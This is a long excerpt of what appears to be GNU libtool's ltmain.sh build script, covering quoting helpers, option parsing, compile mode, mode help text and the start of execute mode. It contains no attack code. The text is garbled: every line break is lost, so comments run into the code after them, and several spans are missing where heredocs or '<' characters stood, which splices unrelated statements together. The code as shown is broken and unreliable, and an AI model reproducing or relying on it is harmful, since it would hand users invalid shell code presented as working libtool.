dirname="s,/[^/]*$,," basename="s,^.*/,," # func_dirname_and_basename file append nondir_replacement # perform func_basename and func_dirname in a single function # call: # dirname: Compute the dirname of FILE. If nonempty, # add APPEND to the result, otherwise set result # to NONDIR_REPLACEMENT. # value returned in "$func_dirname_result" # basename: Compute filename of FILE. # value retuned in "$func_basename_result" # Implementation must be kept synchronized with func_dirname # and func_basename. For efficiency, we do not delegate to # those functions but instead duplicate the functionality here. func_dirname_and_basename () { # Extract subdirectory from the argument. func_dirname_result=`$ECHO "X${1}" | $Xsed -e "$dirname"` if test "X$func_dirname_result" = "X${1}"; then func_dirname_result="${3}" else func_dirname_result="$func_dirname_result${2}" fi func_basename_result=`$ECHO "X${1}" | $Xsed -e "$basename"` } # Generated shell functions inserted here. # Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh # is ksh but when the shell is invoked as "sh" and the current value of # the _XPG environment variable is not equal to 1 (one), the special # positional parameter $0, within a function call, is the name of the # function. progpath="$0" # The name of this program: # In the unlikely event $progname began with a '-', it would play havoc with # func_echo (imagine progname=-n), so we prepend ./ in that case: func_dirname_and_basename "$progpath" progname=$func_basename_result case $progname in -*) progname=./$progname ;; esac # Make sure we have an absolute path for reexecution: case $progpath in [\\/]*|[A-Za-z]:\\*) ;; *[\\/]*) progdir=$func_dirname_result progdir=`cd "$progdir" && pwd` progpath="$progdir/$progname" ;; *) save_IFS="$IFS" IFS=: for progdir in $PATH; do IFS="$save_IFS" test -x "$progdir/$progname" && break done IFS="$save_IFS" test -n "$progdir" || progdir=`pwd` progpath="$progdir/$progname" ;; esac # Sed substitution that helps us do robust quoting. It backslashifies # metacharacters that are still active within double-quoted strings. Xsed="${SED}"' -e 1s/^X//' sed_quote_subst='s/\([`"$\\]\)/\\\1/g' # Same as above, but do not quote variable references. double_quote_subst='s/\(["`\\]\)/\\\1/g' # Re-`\' parameter expansions in output of double_quote_subst that were # `\'-ed in input to the same. If an odd number of `\' preceded a '$' # in input to double_quote_subst, that '$' was protected from expansion. # Since each input `\' is now two `\'s, look for any number of runs of # four `\'s followed by two `\'s and then a '$'. `\' that '$'. bs='\\' bs2='\\\\' bs4='\\\\\\\\' dollar='\$' sed_double_backslash="\ s/$bs4/&\\ /g s/^$bs2$dollar/$bs&/ s/\\([^$bs]\\)$bs2$dollar/\\1$bs2$bs$dollar/g s/\n//g" # Standard options: opt_dry_run=false opt_help=false opt_quiet=false opt_verbose=false opt_warning=: # func_echo arg... # Echo program name prefixed message, along with the current mode # name if it has been set yet. func_echo () { $ECHO "$progname${mode+: }$mode: $*" } # func_verbose arg... # Echo program name prefixed message in verbose mode only. func_verbose () { $opt_verbose && func_echo ${1+"$@"} # A bug in bash halts the script if the last line of a function # fails when set -e is in force, so we need another command to # work around that: : } # func_error arg... # Echo program name prefixed message to standard error. func_error () { $ECHO "$progname${mode+: }$mode: "${1+"$@"} 1>&2 } # func_warning arg... # Echo program name prefixed warning message to standard error. func_warning () { $opt_warning && $ECHO "$progname${mode+: }$mode: warning: "${1+"$@"} 1>&2 # bash bug again: : } # func_fatal_error arg... # Echo program name prefixed message to standard error, and exit. func_fatal_error () { func_error ${1+"$@"} exit $EXIT_FAILURE } # func_fatal_help arg... # Echo program name prefixed message to standard error, followed by # a help hint, and exit. func_fatal_help () { func_error ${1+"$@"} func_fatal_error "$help" } help="Try \`$progname --help' for more information." ## default # func_grep expression filename # Check whether EXPRESSION matches any line of FILENAME, without output. func_grep () { $GREP "$1" "$2" >/dev/null 2>&1 } # func_mkdir_p directory-path # Make sure the entire path to DIRECTORY-PATH is available. func_mkdir_p () { my_directory_path="$1" my_dir_list= if test -n "$my_directory_path" && test "$opt_dry_run" != ":"; then # Protect directory names starting with `-' case $my_directory_path in -*) my_directory_path="./$my_directory_path" ;; esac # While some portion of DIR does not yet exist... while test ! -d "$my_directory_path"; do # ...make a list in topmost first order. Use a colon delimited # list incase some portion of path contains whitespace. my_dir_list="$my_directory_path:$my_dir_list" # If the last portion added has no slash in it, the list is done case $my_directory_path in */*) ;; *) break ;; esac # ...otherwise throw away the child directory and loop my_directory_path=`$ECHO "X$my_directory_path" | $Xsed -e "$dirname"` done my_dir_list=`$ECHO "X$my_dir_list" | $Xsed -e 's,:*$,,'` save_mkdir_p_IFS="$IFS"; IFS=':' for my_dir in $my_dir_list; do IFS="$save_mkdir_p_IFS" # mkdir can fail with a `File exist' error if two processes # try to create one of the directories concurrently. Don't # stop in that case! $MKDIR "$my_dir" 2>/dev/null || : done IFS="$save_mkdir_p_IFS" # Bail out if we (or some other process) failed to create a directory. test -d "$my_directory_path" || \ func_fatal_error "Failed to create \`$1'" fi } # func_mktempdir [string] # Make a temporary directory that won't clash with other running # libtool processes, and avoids race conditions if possible. If # given, STRING is the basename for that directory. func_mktempdir () { my_template="${TMPDIR-/tmp}/${1-$progname}" if test "$opt_dry_run" = ":"; then # Return a directory name, but don't create it in dry-run mode my_tmpdir="${my_template}-$$" else # If mktemp works, use that first and foremost my_tmpdir=`mktemp -d "${my_template}-XXXXXXXX" 2>/dev/null` if test ! -d "$my_tmpdir"; then # Failing that, at least try and use $RANDOM to avoid a race my_tmpdir="${my_template}-${RANDOM-0}$$" save_mktempdir_umask=`umask` umask 0077 $MKDIR "$my_tmpdir" umask $save_mktempdir_umask fi # If we're not in dry-run mode, bomb out on failure test -d "$my_tmpdir" || \ func_fatal_error "cannot create temporary directory \`$my_tmpdir'" fi $ECHO "X$my_tmpdir" | $Xsed } # func_quote_for_eval arg # Aesthetically quote ARG to be evaled later. # This function returns two values: FUNC_QUOTE_FOR_EVAL_RESULT # is double-quoted, suitable for a subsequent eval, whereas # FUNC_QUOTE_FOR_EVAL_UNQUOTED_RESULT has merely all characters # which are still active within double quotes backslashified. func_quote_for_eval () { case $1 in *[\\\`\"\$]*) func_quote_for_eval_unquoted_result=`$ECHO "X$1" | $Xsed -e "$sed_quote_subst"` ;; *) func_quote_for_eval_unquoted_result="$1" ;; esac case $func_quote_for_eval_unquoted_result in # Double-quote args containing shell metacharacters to delay # word splitting, command substitution and and variable # expansion for a subsequent eval. # Many Bourne shells cannot handle close brackets correctly # in scan sets, so we specify it separately. *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") func_quote_for_eval_result="\"$func_quote_for_eval_unquoted_result\"" ;; *) func_quote_for_eval_result="$func_quote_for_eval_unquoted_result" esac } # func_quote_for_expand arg # Aesthetically quote ARG to be evaled later; same as above, # but do not quote variable references. func_quote_for_expand () { case $1 in *[\\\`\"]*) my_arg=`$ECHO "X$1" | $Xsed \ -e "$double_quote_subst" -e "$sed_double_backslash"` ;; *) my_arg="$1" ;; esac case $my_arg in # Double-quote args containing shell metacharacters to delay # word splitting and command substitution for a subsequent eval. # Many Bourne shells cannot handle close brackets correctly # in scan sets, so we specify it separately. *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") my_arg="\"$my_arg\"" ;; esac func_quote_for_expand_result="$my_arg" } # func_show_eval cmd [fail_exp] # Unless opt_silent is true, then output CMD. Then, if opt_dryrun is # not true, evaluate CMD. If the evaluation of CMD fails, and FAIL_EXP # is given, then evaluate it. func_show_eval () { my_cmd="$1" my_fail_exp="${2-:}" ${opt_silent-false} || { func_quote_for_expand "$my_cmd" eval "func_echo $func_quote_for_expand_result" } if ${opt_dry_run-false}; then :; else eval "$my_cmd" my_status=$? if test "$my_status" -eq 0; then :; else eval "(exit $my_status); $my_fail_exp" fi fi } # func_show_eval_locale cmd [fail_exp] # Unless opt_silent is true, then output CMD. Then, if opt_dryrun is # not true, evaluate CMD. If the evaluation of CMD fails, and FAIL_EXP # is given, then evaluate it. Use the saved locale for evaluation. func_show_eval_locale () { my_cmd="$1" my_fail_exp="${2-:}" ${opt_silent-false} || { func_quote_for_expand "$my_cmd" eval "func_echo $func_quote_for_expand_result" } if ${opt_dry_run-false}; then :; else eval "$lt_user_locale $my_cmd" my_status=$? eval "$lt_safe_locale" if test "$my_status" -eq 0; then :; else eval "(exit $my_status); $my_fail_exp" fi fi } # func_version # Echo version message to standard output and exit. func_version () { $SED -n '/^# '$PROGRAM' (GNU /,/# warranty; / { s/^# // s/^# *$// s/\((C)\)[ 0-9,-]*\( [1-9][0-9]*\)/\1\2/ p }' < "$progpath" exit $? } # func_usage # Echo short help message to standard output and exit. func_usage () { $SED -n '/^# Usage:/,/# -h/ { s/^# // s/^# *$// s/\$progname/'$progname'/ p }' < "$progpath" $ECHO $ECHO "run \`$progname --help | more' for full usage" exit $? } # func_help # Echo long help message to standard output and exit. func_help () { $SED -n '/^# Usage:/,/# Report bugs to/ { s/^# // s/^# *$// s*\$progname*'$progname'* s*\$host*'"$host"'* s*\$SHELL*'"$SHELL"'* s*\$LTCC*'"$LTCC"'* s*\$LTCFLAGS*'"$LTCFLAGS"'* s*\$LD*'"$LD"'* s/\$with_gnu_ld/'"$with_gnu_ld"'/ s/\$automake_version/'"`(automake --version) 2>/dev/null |$SED 1q`"'/ s/\$autoconf_version/'"`(autoconf --version) 2>/dev/null |$SED 1q`"'/ p }' < "$progpath" exit $? } # func_missing_arg argname # Echo program name prefixed message to standard error and set global # exit_cmd. func_missing_arg () { func_error "missing argument for $1" exit_cmd=exit } exit_cmd=: # Check that we have a working $ECHO. if test "X$1" = X--no-reexec; then # Discard the --no-reexec flag, and continue. shift elif test "X$1" = X--fallback-echo; then # Avoid inline document here, it may be left over : elif test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t'; then # Yippee, $ECHO works! : else # Restart under the correct shell, and then maybe $ECHO will work. exec $SHELL "$progpath" --no-reexec ${1+"$@"} fi if test "X$1" = X--fallback-echo; then # used as fallback echo shift cat </dev/null 2>&1; then taglist="$taglist $tagname" # Evaluate the configuration. Be careful to quote the path # and the sed script, to avoid splitting on whitespace, but # also don't use non-portable quotes within backquotes within # quotes we have to do it in 2 steps: extractedcf=`$SED -n -e "$sed_extractcf" < "$progpath"` eval "$extractedcf" else func_error "ignoring unknown tag $tagname" fi ;; esac } # Parse options once, thoroughly. This comes as soon as possible in # the script to make things like `libtool --version' happen quickly. { # Shorthand for --mode=foo, only valid as the first argument case $1 in clean|clea|cle|cl) shift; set dummy --mode clean ${1+"$@"}; shift ;; compile|compil|compi|comp|com|co|c) shift; set dummy --mode compile ${1+"$@"}; shift ;; execute|execut|execu|exec|exe|ex|e) shift; set dummy --mode execute ${1+"$@"}; shift ;; finish|finis|fini|fin|fi|f) shift; set dummy --mode finish ${1+"$@"}; shift ;; install|instal|insta|inst|ins|in|i) shift; set dummy --mode install ${1+"$@"}; shift ;; link|lin|li|l) shift; set dummy --mode link ${1+"$@"}; shift ;; uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u) shift; set dummy --mode uninstall ${1+"$@"}; shift ;; esac # Parse non-mode specific arguments: while test "$#" -gt 0; do opt="$1" shift case $opt in --config) func_config ;; --debug) preserve_args="$preserve_args $opt" func_echo "enabling shell trace mode" opt_debug='set -x' $opt_debug ;; -dlopen) test "$#" -eq 0 && func_missing_arg "$opt" && break execute_dlfiles="$execute_dlfiles $1" shift ;; --dry-run | -n) opt_dry_run=: ;; --features) func_features ;; --finish) mode="finish" ;; --mode) test "$#" -eq 0 && func_missing_arg "$opt" && break case $1 in # Valid mode arguments: clean) ;; compile) ;; execute) ;; finish) ;; install) ;; link) ;; relink) ;; uninstall) ;; # Catch anything else as an error *) func_error "invalid argument for $opt" exit_cmd=exit break ;; esac mode="$1" shift ;; --preserve-dup-deps) opt_duplicate_deps=: ;; --quiet|--silent) preserve_args="$preserve_args $opt" opt_silent=: ;; --verbose| -v) preserve_args="$preserve_args $opt" opt_silent=false ;; --tag) test "$#" -eq 0 && func_missing_arg "$opt" && break preserve_args="$preserve_args $opt $1" func_enable_tag "$1" # tagname is set here shift ;; # Separate optargs to long options: -dlopen=*|--mode=*|--tag=*) func_opt_split "$opt" set dummy "$func_opt_split_opt" "$func_opt_split_arg" ${1+"$@"} shift ;; -\?|-h) func_usage ;; --help) opt_help=: ;; --version) func_version ;; -*) func_fatal_help "unrecognized option \`$opt'" ;; *) nonopt="$opt" break ;; esac done case $host in *cygwin* | *mingw* | *pw32* | *cegcc*) # don't eliminate duplications in $postdeps and $predeps opt_duplicate_compiler_generated_deps=: ;; *) opt_duplicate_compiler_generated_deps=$opt_duplicate_deps ;; esac # Having warned about all mis-specified options, bail out if # anything was wrong. $exit_cmd $EXIT_FAILURE } # func_check_version_match # Ensure that we are using m4 macros, and libtool script from the same # release of libtool. func_check_version_match () { if test "$package_revision" != "$macro_revision"; then if test "$VERSION" != "$macro_version"; then if test -z "$macro_version"; then cat >&2 <<_LT_EOF $progname: Version mismatch error. This is $PACKAGE $VERSION, but the $progname: definition of this LT_INIT comes from an older release. $progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION $progname: and run autoconf again. _LT_EOF else cat >&2 <<_LT_EOF $progname: Version mismatch error. This is $PACKAGE $VERSION, but the $progname: definition of this LT_INIT comes from $PACKAGE $macro_version. $progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION $progname: and run autoconf again. _LT_EOF fi else cat >&2 <<_LT_EOF $progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision, $progname: but the definition of this LT_INIT comes from revision $macro_revision. $progname: You should recreate aclocal.m4 with macros from revision $package_revision $progname: of $PACKAGE $VERSION and run autoconf again. _LT_EOF fi exit $EXIT_MISMATCH fi } ## ----------- ## ## Main. ## ## ----------- ## $opt_help || { # Sanity checks first: func_check_version_match if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then func_fatal_configuration "not configured to build any kind of library" fi test -z "$mode" && func_fatal_error "error: you must specify a MODE." # Darwin sucks eval std_shrext=\"$shrext_cmds\" # Only execute mode is allowed to have -dlopen flags. if test -n "$execute_dlfiles" && test "$mode" != execute; then func_error "unrecognized option \`-dlopen'" $ECHO "$help" 1>&2 exit $EXIT_FAILURE fi # Change the help message to a mode-specific one. generic_help="$help" help="Try \`$progname --help --mode=$mode' for more information." } # func_lalib_p file # True iff FILE is a libtool `.la' library or `.lo' object file. # This function is only a basic sanity check; it will hardly flush out # determined imposters. func_lalib_p () { test -f "$1" && $SED -e 4q "$1" 2>/dev/null \ | $GREP "^# Generated by .*$PACKAGE" > /dev/null 2>&1 } # func_lalib_unsafe_p file # True iff FILE is a libtool `.la' library or `.lo' object file. # This function implements the same check as func_lalib_p without # resorting to external programs. To this end, it redirects stdin and # closes it afterwards, without saving the original file descriptor. # As a safety measure, use it only where a negative result would be # fatal anyway. Works if `file' does not exist. func_lalib_unsafe_p () { lalib_p=no if test -f "$1" && test -r "$1" && exec 5<&0 <"$1"; then for lalib_p_l in 1 2 3 4 do read lalib_p_line case "$lalib_p_line" in \#\ Generated\ by\ *$PACKAGE* ) lalib_p=yes; break;; esac done exec 0<&5 5<&- fi test "$lalib_p" = yes } # func_ltwrapper_script_p file # True iff FILE is a libtool wrapper script # This function is only a basic sanity check; it will hardly flush out # determined imposters. func_ltwrapper_script_p () { func_lalib_p "$1" } # func_ltwrapper_executable_p file # True iff FILE is a libtool wrapper executable # This function is only a basic sanity check; it will hardly flush out # determined imposters. func_ltwrapper_executable_p () { func_ltwrapper_exec_suffix= case $1 in *.exe) ;; *) func_ltwrapper_exec_suffix=.exe ;; esac $GREP "$magic_exe" "$1$func_ltwrapper_exec_suffix" >/dev/null 2>&1 } # func_ltwrapper_scriptname file # Assumes file is an ltwrapper_executable # uses $file to determine the appropriate filename for a # temporary ltwrapper_script. func_ltwrapper_scriptname () { func_ltwrapper_scriptname_result="" if func_ltwrapper_executable_p "$1"; then func_dirname_and_basename "$1" "" "." func_stripname '' '.exe' "$func_basename_result" func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper" fi } # func_ltwrapper_p file # True iff FILE is a libtool wrapper script or wrapper executable # This function is only a basic sanity check; it will hardly flush out # determined imposters. func_ltwrapper_p () { func_ltwrapper_script_p "$1" || func_ltwrapper_executable_p "$1" } # func_execute_cmds commands fail_cmd # Execute tilde-delimited COMMANDS. # If FAIL_CMD is given, eval that upon failure. # FAIL_CMD may read-access the current command in variable CMD! func_execute_cmds () { $opt_debug save_ifs=$IFS; IFS='~' for cmd in $1; do IFS=$save_ifs eval cmd=\"$cmd\" func_show_eval "$cmd" "${2-:}" done IFS=$save_ifs } # func_source file # Source FILE, adding directory component if necessary. # Note that it is not necessary on cygwin/mingw to append a dot to # FILE even if both FILE and FILE.exe exist: automatic-append-.exe # behavior happens only for exec(3), not for open(2)! Also, sourcing # `FILE.' does not work on cygwin managed mounts. func_source () { $opt_debug case $1 in */* | *\\*) . "$1" ;; *) . "./$1" ;; esac } # func_infer_tag arg # Infer tagged configuration to use if any are available and # if one wasn't chosen via the "--tag" command line option. # Only attempt this if the compiler in the base compile # command doesn't match the default compiler. # arg is usually of the form 'gcc ...' func_infer_tag () { $opt_debug if test -n "$available_tags" && test -z "$tagname"; then CC_quoted= for arg in $CC; do func_quote_for_eval "$arg" CC_quoted="$CC_quoted $func_quote_for_eval_result" done case $@ in # Blanks in the command may have been stripped by the calling shell, # but not from the CC environment variable when configure was run. " $CC "* | "$CC "* | " `$ECHO $CC` "* | "`$ECHO $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$ECHO $CC_quoted` "* | "`$ECHO $CC_quoted` "*) ;; # Blanks at the start of $base_compile will cause this to fail # if we don't check for them as well. *) for z in $available_tags; do if $GREP "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /dev/null; then # Evaluate the configuration. eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`" CC_quoted= for arg in $CC; do # Double-quote args containing other shell metacharacters. func_quote_for_eval "$arg" CC_quoted="$CC_quoted $func_quote_for_eval_result" done case "$@ " in " $CC "* | "$CC "* | " `$ECHO $CC` "* | "`$ECHO $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$ECHO $CC_quoted` "* | "`$ECHO $CC_quoted` "*) # The compiler in the base compile command matches # the one in the tagged configuration. # Assume this is the tagged configuration we want. tagname=$z break ;; esac fi done # If $tagname still isn't set, then no tagged configuration # was found and let the user know that the "--tag" command # line option must be used. if test -z "$tagname"; then func_echo "unable to infer tagged configuration" func_fatal_error "specify a tag with \`--tag'" # else # func_verbose "using $tagname tagged configuration" fi ;; esac fi } # func_write_libtool_object output_name pic_name nonpic_name # Create a libtool object file (analogous to a ".la" file), # but don't create it if we're doing a dry run. func_write_libtool_object () { write_libobj=${1} if test "$build_libtool_libs" = yes; then write_lobj=\'${2}\' else write_lobj=none fi if test "$build_old_libs" = yes; then write_oldobj=\'${3}\' else write_oldobj=none fi $opt_dry_run || { cat >${write_libobj}T <?"'"'"' &()|`$[]' \ && func_warning "libobj name \`$libobj' may not contain shell special characters." func_dirname_and_basename "$obj" "/" "" objname="$func_basename_result" xdir="$func_dirname_result" lobj=${xdir}$objdir/$objname test -z "$base_compile" && \ func_fatal_help "you must specify a compilation command" # Delete any leftover library objects. if test "$build_old_libs" = yes; then removelist="$obj $lobj $libobj ${libobj}T" else removelist="$lobj $libobj ${libobj}T" fi # On Cygwin there's no "real" PIC flag so we must build both object types case $host_os in cygwin* | mingw* | pw32* | os2* | cegcc*) pic_mode=default ;; esac if test "$pic_mode" = no && test "$deplibs_check_method" != pass_all; then # non-PIC code in shared libraries is not supported pic_mode=default fi # Calculate the filename of the output object if compiler does # not support -o with -c if test "$compiler_c_o" = no; then output_obj=`$ECHO "X$srcfile" | $Xsed -e 's%^.*/%%' -e 's%\.[^.]*$%%'`.${objext} lockfile="$output_obj.lock" else output_obj= need_locks=no lockfile= fi # Lock this critical section if it is needed # We use this script file to make the link, it avoids creating a new file if test "$need_locks" = yes; then until $opt_dry_run || ln "$progpath" "$lockfile" 2>/dev/null; do func_echo "Waiting for $lockfile to be removed" sleep 2 done elif test "$need_locks" = warn; then if test -f "$lockfile"; then $ECHO "\ *** ERROR, $lockfile exists and contains: `cat $lockfile 2>/dev/null` This indicates that another process is trying to use the same temporary object file, and libtool could not work around it because your compiler does not support \`-c' and \`-o' together. If you repeat this compilation, it may succeed, by chance, but you had better avoid parallel builds (make -j) in this platform, or get a better compiler." $opt_dry_run || $RM $removelist exit $EXIT_FAILURE fi removelist="$removelist $output_obj" $ECHO "$srcfile" > "$lockfile" fi $opt_dry_run || $RM $removelist removelist="$removelist $lockfile" trap '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' 1 2 15 if test -n "$fix_srcfile_path"; then eval srcfile=\"$fix_srcfile_path\" fi func_quote_for_eval "$srcfile" qsrcfile=$func_quote_for_eval_result # Only build a PIC object if we are building libtool libraries. if test "$build_libtool_libs" = yes; then # Without this assignment, base_compile gets emptied. fbsd_hideous_sh_bug=$base_compile if test "$pic_mode" != no; then command="$base_compile $qsrcfile $pic_flag" else # Don't build PIC code command="$base_compile $qsrcfile" fi func_mkdir_p "$xdir$objdir" if test -z "$output_obj"; then # Place PIC objects in $objdir command="$command -o $lobj" fi func_show_eval_locale "$command" \ 'test -n "$output_obj" && $RM $removelist; exit $EXIT_FAILURE' if test "$need_locks" = warn && test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then $ECHO "\ *** ERROR, $lockfile contains: `cat $lockfile 2>/dev/null` but it should contain: $srcfile This indicates that another process is trying to use the same temporary object file, and libtool could not work around it because your compiler does not support \`-c' and \`-o' together. If you repeat this compilation, it may succeed, by chance, but you had better avoid parallel builds (make -j) in this platform, or get a better compiler." $opt_dry_run || $RM $removelist exit $EXIT_FAILURE fi # Just move the object if needed, then go on to compile the next one if test -n "$output_obj" && test "X$output_obj" != "X$lobj"; then func_show_eval '$MV "$output_obj" "$lobj"' \ 'error=$?; $opt_dry_run || $RM $removelist; exit $error' fi # Allow error messages only from the first compilation. if test "$suppress_opt" = yes; then suppress_output=' >/dev/null 2>&1' fi fi # Only build a position-dependent object if we build old libraries. if test "$build_old_libs" = yes; then if test "$pic_mode" != yes; then # Don't build PIC code command="$base_compile $qsrcfile$pie_flag" else command="$base_compile $qsrcfile $pic_flag" fi if test "$compiler_c_o" = yes; then command="$command -o $obj" fi # Suppress compiler output if we already did a PIC compilation. command="$command$suppress_output" func_show_eval_locale "$command" \ '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' if test "$need_locks" = warn && test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then $ECHO "\ *** ERROR, $lockfile contains: `cat $lockfile 2>/dev/null` but it should contain: $srcfile This indicates that another process is trying to use the same temporary object file, and libtool could not work around it because your compiler does not support \`-c' and \`-o' together. If you repeat this compilation, it may succeed, by chance, but you had better avoid parallel builds (make -j) in this platform, or get a better compiler." $opt_dry_run || $RM $removelist exit $EXIT_FAILURE fi # Just move the object if needed if test -n "$output_obj" && test "X$output_obj" != "X$obj"; then func_show_eval '$MV "$output_obj" "$obj"' \ 'error=$?; $opt_dry_run || $RM $removelist; exit $error' fi fi $opt_dry_run || { func_write_libtool_object "$libobj" "$objdir/$objname" "$objname" # Unlock the critical section if it was locked if test "$need_locks" != no; then removelist=$lockfile $RM "$lockfile" fi } exit $EXIT_SUCCESS } $opt_help || { test "$mode" = compile && func_mode_compile ${1+"$@"} } func_mode_help () { # We need to display help for each of the modes. case $mode in "") # Generic help is extracted from the usage comments # at the start of this file. func_help ;; clean) $ECHO \ "Usage: $progname [OPTION]... --mode=clean RM [RM-OPTION]... FILE... Remove files from the build directory. RM is the name of the program to use to delete files associated with each FILE (typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed to RM. If FILE is a libtool library, object or program, all the files associated with it are deleted. Otherwise, only FILE itself is deleted using RM." ;; compile) $ECHO \ "Usage: $progname [OPTION]... --mode=compile COMPILE-COMMAND... SOURCEFILE Compile a source file into a libtool library object. This mode accepts the following additional options: -o OUTPUT-FILE set the output file name to OUTPUT-FILE -no-suppress do not suppress compiler output for multiple passes -prefer-pic try to building PIC objects only -prefer-non-pic try to building non-PIC objects only -shared do not build a \`.o' file suitable for static linking -static only build a \`.o' file suitable for static linking COMPILE-COMMAND is a command to be used in creating a \`standard' object file from the given SOURCEFILE. The output file name is determined by removing the directory component from SOURCEFILE, then substituting the C source code suffix \`.c' with the library object suffix, \`.lo'." ;; execute) $ECHO \ "Usage: $progname [OPTION]... --mode=execute COMMAND [ARGS]... Automatically set library path, then run a program. This mode accepts the following additional options: -dlopen FILE add the directory containing FILE to the library path This mode sets the library path environment variable according to \`-dlopen' flags. If any of the ARGS are libtool executable wrappers, then they are translated into their corresponding uninstalled binary, and any of their required library directories are added to the library path. Then, COMMAND is executed, with ARGS as arguments." ;; finish) $ECHO \ "Usage: $progname [OPTION]... --mode=finish [LIBDIR]... Complete the installation of libtool libraries. Each LIBDIR is a directory that contains libtool libraries. The commands that this mode executes may require superuser privileges. Use the \`--dry-run' option if you just want to see what would be executed." ;; install) $ECHO \ "Usage: $progname [OPTION]... --mode=install INSTALL-COMMAND... Install executables or libraries. INSTALL-COMMAND is the installation command. The first component should be either the \`install' or \`cp' program. The following components of INSTALL-COMMAND are treated specially: -inst-prefix PREFIX-DIR Use PREFIX-DIR as a staging area for installation The rest of the components are interpreted as arguments to that command (only BSD-compatible install options are recognized)." ;; link) $ECHO \ "Usage: $progname [OPTION]... --mode=link LINK-COMMAND... Link object files or libraries together to form another library, or to create an executable program. LINK-COMMAND is a command using the C compiler that you would use to create a program from several object files. The following components of LINK-COMMAND are treated specially: -all-static do not do any dynamic linking at all -avoid-version do not add a version suffix if possible -dlopen FILE \`-dlpreopen' FILE if it cannot be dlopened at runtime -dlpreopen FILE link in FILE and add its symbols to lt_preloaded_symbols -export-dynamic allow symbols from OUTPUT-FILE to be resolved with dlsym(3) -export-symbols SYMFILE try to export only the symbols listed in SYMFILE -export-symbols-regex REGEX try to export only the symbols matching REGEX -LLIBDIR search LIBDIR for required installed libraries -lNAME OUTPUT-FILE requires the installed library libNAME -module build a library that can dlopened -no-fast-install disable the fast-install mode -no-install link a not-installable executable -no-undefined declare that a library does not refer to external symbols -o OUTPUT-FILE create OUTPUT-FILE from the specified objects -objectlist FILE Use a list of object files found in FILE to specify objects -precious-files-regex REGEX don't remove output files matching REGEX -release RELEASE specify package release information -rpath LIBDIR the created library will eventually be installed in LIBDIR -R[ ]LIBDIR add LIBDIR to the runtime path of programs and libraries -shared only do dynamic linking of libtool libraries -shrext SUFFIX override the standard shared library file extension -static do not do any dynamic linking of uninstalled libtool libraries -static-libtool-libs do not do any dynamic linking of libtool libraries -version-info CURRENT[:REVISION[:AGE]] specify library version info [each variable defaults to 0] -weak LIBNAME declare that the target provides the LIBNAME interface All other options (arguments beginning with \`-') are ignored. Every other argument is treated as a filename. Files ending in \`.la' are treated as uninstalled libtool libraries, other files are standard or library object files. If the OUTPUT-FILE ends in \`.la', then a libtool library is created, only library objects (\`.lo' files) may be specified, and \`-rpath' is required, except when creating a convenience library. If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is created using \`ar' and \`ranlib', or on Windows using \`lib'. If OUTPUT-FILE ends in \`.lo' or \`.${objext}', then a reloadable object file is created, otherwise an executable program is created." ;; uninstall) $ECHO \ "Usage: $progname [OPTION]... --mode=uninstall RM [RM-OPTION]... FILE... Remove libraries from an installation directory. RM is the name of the program to use to delete files associated with each FILE (typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed to RM. If FILE is a libtool library, all the files associated with it are deleted. Otherwise, only FILE itself is deleted using RM." ;; *) func_fatal_help "invalid operation mode \`$mode'" ;; esac $ECHO $ECHO "Try \`$progname --help' for more information about other modes." exit $? } # Now that we've collected a possible --mode arg, show help if necessary $opt_help && func_mode_help # func_mode_execute arg... func_mode_execute () { $opt_debug # The first argument is the command name. cmd="$nonopt" test -z "$cmd" && \ func_fatal_help "you must specify a COMMAND" # Handle -dlopen flags immediately. for file in $execute_dlfiles; do test -f "$file" \ || func_fatal_help "\`$file' is not a file" dir= case $file in *.la) # Check to see that this really is a libtool archive. func_lalib_unsafe_p "$file" \ || func_fatal_help "\`$lib' is not a valid libtool archive" # Read the libtool library. dlname= library_names= func_source "$file" # Skip this library if it cannot be dlopened. if test -z "$dlname"; then # Warn if it was a shared library. test -n "$library_names" && \ func_warning "\`$file' was not linked with \`-export-dynamic'" continue fi func_dirname "$file" "" "." dir="$func_dirname_result" if test -f "$dir/$objdir/$dlname"; then dir="$dir/$objdir" else if test ! -f "$dir/$dlname"; then func_fatal_error "cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'" fi fi ;; *.lo) # Just add the directory containing the .lo file. func_dirname "$file" "" "." dir="$func_dirname_result" ;; *) func_warning "\`-dlopen' is ignored for non-libtool libraries and objects" continue ;; esac # Get the absolute pathname. absdir=`cd "$dir" && pwd` test -n "$absdir" && dir="$absdir" # Now add the directory to shlibpath_var. if eval "test -z \"\$$shlibpath_var\""; then eval "$shlibpath_var=\"\$dir\"" else eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\"" fi done # This variable tells wrapper scripts just to set shlibpath_var # rather than running their programs. libtool_execute_magic="$magic" # Check if any of the arguments is a wrapper script. args= for file do case $file in -*) ;; *) # Do a test to see if this is really a libtool program. if func_ltwrapper_script_p "$file"; then func_source "$file" # Transform arg to wrapped name. file="$progdir/$program" elif func_ltwrapper_executable_p "$file"; then func_ltwrapper_scriptname "$file" func_source "$func_ltwrapper_scriptname_result" # Transform arg to wrapped name. file="$progdir/$program" fi ;; esac # Quote arguments (to preserve shell metacharacters). func_quote_for_eval "$file" args="$args $func_quote_for_eval_result" done if test 